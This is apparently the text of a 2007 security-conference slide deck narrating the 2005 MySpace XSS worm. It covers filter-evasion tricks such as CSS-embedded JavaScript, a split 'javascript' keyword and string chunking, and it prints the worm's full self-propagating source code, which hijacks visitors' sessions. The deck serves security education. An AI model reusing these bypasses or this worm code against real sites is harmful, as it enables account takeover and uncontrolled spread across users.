The MySpace Worm OWASP & WASC AppSec 2007 Conference San Jose – Nov 2007 http://www.webappsec.org/ Samy Kamkar Co-founder, Fonality samy@fonality.com Copyright © 2007 - The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike 2.5 License. To view this license, visit http://creativecommons.org/licenses/by-sa/2.5/ The OWASP Foundation http://www.owasp.org/ Who is samy? Known only by the pseudonym “samy” (and also by full name, “Samy Kamkar”) Co-founder of Fonality, IP PBX Phone Systems Developer (and lover) of topics including: Automated Security Vulnerability Research Low-level Packet Fu Artificial Intelligence The “Web”, as the kids are calling it these days Chick Magnet OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 MySpace, a place for (potential girl)friends Social Networking. Online. Classy. A mildly addictive, web-based stimulant Ability to add friends, bio, favorite music, heroes, etc. Pics. Lots of pics. Not enough hugs or friends as a child (why isn’t there a One Hug Per Child project?) Realistically, a great place and efficient method to keep up with friends, family, and girlfriends OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 3 Nice profile. Wanna friend? Goals of every MySpace User Persuade peers from high school whom you sat next to, but never spoke with, to accept your friend request Have many friends Have many comments Have many pictures If you’re a girl, pose only in “The MySpace Angles” If you’re a guy, pose shirtless All other pictures are subject to removal Have a flashy profile (no pun intended), including customized CSS, Flash, and <blink>! It’s totally coming back OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Chicks Dig Cool Profiles Goals of samy’s profile See what all the MySpace fuss was about Impress my friends Impress my girlfriend Impress her hot friends Learn AJAX This took place in 2005 when Google Maps was just released No malicious intentions, of course. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Don’t Try This At Home The following methods no longer apply to MySpace. They did apply in 2005 when “The MySpace Worm” was released. All issues were promptly resolved by MySpace. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Initial Investigation, samy, web 2.0 P.I. Character and Tag Limitations In this case, I wanted to add HTML and lengthen my profile title Some limitations were simply imposed by HTML tags: <input type=“text” maxlength=“120” name=“title”> – Remove the maxlength, submit, voila Some limitations were done on the backend – smart! Some changes were limited at an interim step (confirmation page) when making changes after stripping nasty stuff: Step 1: Change title to “I rule. <img src=britney.jpg>” Step 2: Page comes back with hidden values: – <input type=“hidden” name=“title” value=“I rule.”> – <input type=“hidden” name=“hash” value=“BADC0DEDDEADBEEF”> Step 3: Profit. I mean, submit – after changing hidden values OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Just a JavaScriptKiddie First attempt to inject JavaScript: Body of page only allows: <img>, <embed>, <div> All other tags blocked (<script>, <body>, etc) onAnything’s blocked (<a onClick=…>) Hrefs with anything other than an http URL blocked ‘expression’ property in CSS Browser Wars Thanks IE, Safari, I love you guys so much. (FF FTW) JavaScript, invading a CSS tag near you: <div style="background:url('javascript:alert(1)')"> OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 I Hope They Serve Beer In Quote Hell Single and double quotes used up just to get to a point to add JavaScript… Writing any useful JS would require additional quotes MySpace removes attempts to escape quotes (e.g. \”) <div style="background:url('javascript:alert(\”hi\”)')"> will not work Think outside of the tag – move our actual javascript elsewhere, then evaluate it: <div id=“mycode" expr="alert('ha ha!')" style="background:url(‘javascript: eval(document.all.mycode.expr) ')"> OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Watch Your Language! Aw man, these guys are good. “javascript” is removed from ANYWHERE. Even smarter, they replace “javascript” with “..” An attack like “jjavascriptajavascriptvjavascripta…” will not work due to the replacement of the text (ends up “j..a..v..a..etc”) I can’t even say “I love JavaScript!” in my profile Luckily, I do in fact love semi-ellipses. “I love ..!” They really add..suspense..to language. Then I had this fuzzy feeling.. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Oops, IE Did It Again! Fudging (well, fuzzing) a new solution It was only a few minutes, but I felt close, as I typically do after a few minutes… I had to somehow get the ‘javascript’ word in there A little fuzzer later, placing every possible character between the words ‘java’ and ‘script’ to see if any browser would accept it…IE & Safari, loose again: <div id="mycode" expr="alert('hah!')" style="background:url('java<newline> script:eval(document.all.mycode.expr)')"> Great success! OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Quote Me, Baby, One More Time JavaScript is now a reality! Veni, vidi, vici. Still some hurdles! Although we have single quotes available to us, we sometimes need double quotes. Decimal to ASCII solves this by storing the double quote in a variable: – expr=“var A=String.fromCharCode(34); alert(A + ’air quotes’ + A);” Equivalent to alert(‘”air quotes”’) OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Use The Source, Luke Change “In a relationship” to “In a hot relationship” Submitting relationship status was a dropdown with numeric IDs as the values, not text Submitting text as the value would fail Overlaying DIVs is possible but can be painful JS at our disposal, thus, let’s simply replace source in the page: document.body.innerHTML = document.body.innerHTML.replace( ’In a relationship’, ‘In a <b>hot</b> relationship’); MySpace stops this! They replace “innerHTML” with “..” To avoid the replacement, we simply chunk our data: eval(‘document.body.inn’ + ‘erHTML = document…’); OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Tracking Profile Views / Stalkers Next goal: Tracking visitors Trivial using several methods Using an <img> pointing to a remote CGI Instead, without even using JS or a remote CGI, accomplish with a simple GET request Using the “Add To Favorites” link allows you to add a user to your “Favorites” list Only a GET is required to accomplish this To add a friend, you need their Friend ID To avoid JS, we accomplish this with the reverse -- have all visitors to my profile add ME as their favorite, then I can go in and view all people who have added ME as a favorite OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 I’m Good Enough, I’m Smart Enough… And Doggone It, People Like Me. AJAX 101 -- Introduction to Browser Control Goal: Add myself as a friend to any visitor: Perform a GET to a confirmation page with a profile ID Perform a POST to confirm the add, submitting a hidden, random hash value AJAX allows us to do this seamlessly in the background AJAX performs the GET request via XMLHttpRequest object Scrape the source for the randomized hash AJAX performs the submit via the same object, setting the randomized hash as a POST parameter, using existing cookies It doesn’t work! Profiles are on “profile.myspace.com”, but editing profiles is on “www.myspace.com”! OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 AJAX Cross-Domain Security Browsers prevent the XMLHttpRequest object from POSTing to URLs not in the same FQDN (Fully Qualified Domain Name) Can’t post from “profile.myspace.com” to “www.myspace.com” Misdirection. What the eyes see… MySpace is lenient, allowing you to view profiles on both profile.myspace.com and www.myspace.com Simply perform a redirect if we’re on profile.myspace.com! if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search; OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 AJAX Cross-Domain Security Redux An alternative: XSS (Cross-Site Scripting) By locating an XSS on www.myspace.com, we can: Still directly be on profile.myspace.com Remove the need to perform an obvious redirect Perform an AJAX POST to www.myspace.com Still harness the client’s cookies on www.myspace.com A simple Flash app makes this easy Remember, <embed>s are allowed but allowScript=“no” Harnessing a statically named hidden iframe which already existed on all profiles to direct our XSS page to Using ActionScript’s getURL() function to make the call getURL(‘http://www.myspace.com/xss..<script>…’, ‘iframe’) OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 The Geek Who Became A Friend. The Friend Who Became A Hero. Not only could I add myself as a friend, but I could modify any victim, er, visitor’s profile 1) Choose your target I selected the “heroes” section of the profile, a seldom used section where you can list your heroes 2) Approach indirectly A standard POST to the heroes section would have removed their existing list. A hero would do no such thing. To prevent this, we need to: – GET the visitor’s profile – Extract the existing heroes – Append “but most of all, samy is my hero.” OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Friend Is A Four Letter Word GETting the user’s profile In order to retrieve the user’s profile, we need to know their profile ID This was only available in one place on my profile which they were visiting, ironically in an unused portion of code -- it was not available in the cookie We can extract this simply from the innerHTML: document.body.innerHTML.indexOf('friendID'); Oddly, this fails! We’re left with the index (location) of the javascript code where the word “friendID” begins, as the javascript also exists in the innerHTML Avoid this by performing: document.body.innerHTML.indexOf(‘frie’ + ‘ndID’); OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 API, SDK, other cool buzzwords There are patterns everywhere in nature. To accomplish adding friends, revealing myself as a (self-proclaimed) hero, and more, I almost always need to perform the same tasks Building an API makes all of these functions very simple addFriend(profileID) addFavorite(‘hero’, ‘Dr. House’) addComment(‘profileID’, ‘Man, samy, you rock!’) OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 The MySpace Worm Putting it all together Perform the redirect if necessary Add our visitor as a friend Get the visitor’s heroes, append myself What if we capture the source code doing all this…and add that to the visitor’s profile, too? 5 people view my profile, samy has 5 new friends 5 people each view those profiles, samy has 25 more friends! OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 T Minus 1 First attempt at running it -- doesn’t work! Too much data to post! Time to minimize our JS Try again… Now, while I get added as a friend and hero, the code doesn’t work on the user’s profile Ah hah! URI Escaping is necessary when reposting the code JavaScript’s escape() does not escape everything we need, so we create a manual escape function OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 In the end, there was code <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{ var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}functi on getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS }var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.loca tion='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return fin dIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N +='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+' ='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ== 'POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.se nd(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.in dexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(B G=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.sub string(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){ Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC .substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, s amy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU, 'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken') ;var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fusea ction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}v ar AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['int erest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&My token='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&f riendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.respons eText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID'] ='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',pa ramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.op en(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHea der('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV> OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Launching The “Popularity Program” Sunday night, around midnight Released the worm into my profile Without testing, I assumed it wouldn’t work. It worked. Friend’s girlfriend (victim) viewed my profile. She was totally checking me out. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 The Morning After (no pill to stop this) Monday Morning, 8am You have 221 friend requests. Whoa. If 200 people “infected” in 8 hours… That’s 600 friends a day! Whoa. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 2^<insert hard math stuff here> 1 hour later, 9am You have 480 friend requests. Oh wait. It’s exponential, isn’t it. Shit. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Friends Till The end 1 hour later, 10am You have 1,061 friend requests. People messaging me left and right “How did you hack my profile?” “You’re hot!” (From girls. And one guy.) “I delete you but you come right back!” Visitor attempts to delete me as a friend Visitor goes back to their main profile page where the code lives Visitor re-infects him or herself OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Taking It All Back 1:30pm, I’m up to 10,000 “friends” (they’re not really my friends, I haven’t even met most of these people.) I’m scared. I delete my profile. “Are you sure?” YES! *click* “Deletion takes up to 24 hours.” Crap. Deleting the profile can’t actually stop the worm. MySpace recently purchased by FOX ($580 mil) OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Not So Refreshing Spreading like an STD. For an “Internet Condom”, see next talk. ... 6pm, I refresh the page. “917,664 friend requests” 3 seconds later, refresh. “918,268 friend requests” 3 seconds later, refresh. “919,664 friend requests” OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 All Your MySpace Are Belong To Me A minute later, I refresh. … … You have 1,005,831 friend requests. … … It’s official. I’m popular. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 My Bad. An hour later, I refresh once more. “This profile is unavailable.” Finally, they took care of my profile! Good! I visit my girlfriend’s profile. “This profile is unavailable.” I visit myspace.com. “We are temporarily down for maintenance.” Uh oh. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 The Last Supper I decide to enjoy whatever freedom I have left. I drive to Chipotle and have a burrito. An hour later, someone tells me everything is back up -- I’m relieved to hear this. ... My girlfriend calls me and tells me, “you’re my hero.” In my panicked state, I don’t get the joke until the next day. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Love & Hate The press was interested. Interviews were taken. T-shirts were created. Friends were made and lost. Copycats emerged. “Samy.Reloaded” and others Worm code reused on other sites. No word from MySpace. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Until… The Secret Service raided my home. And office. They even took my iPod. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 Q&A A gentleman never asks, a lady never tells. The MySpace Worm: http://namb.la/popular Technical explanation: http://namb.la/popular/tech.html OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007 The Anti-Anti-Samy Project Coming soon. OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007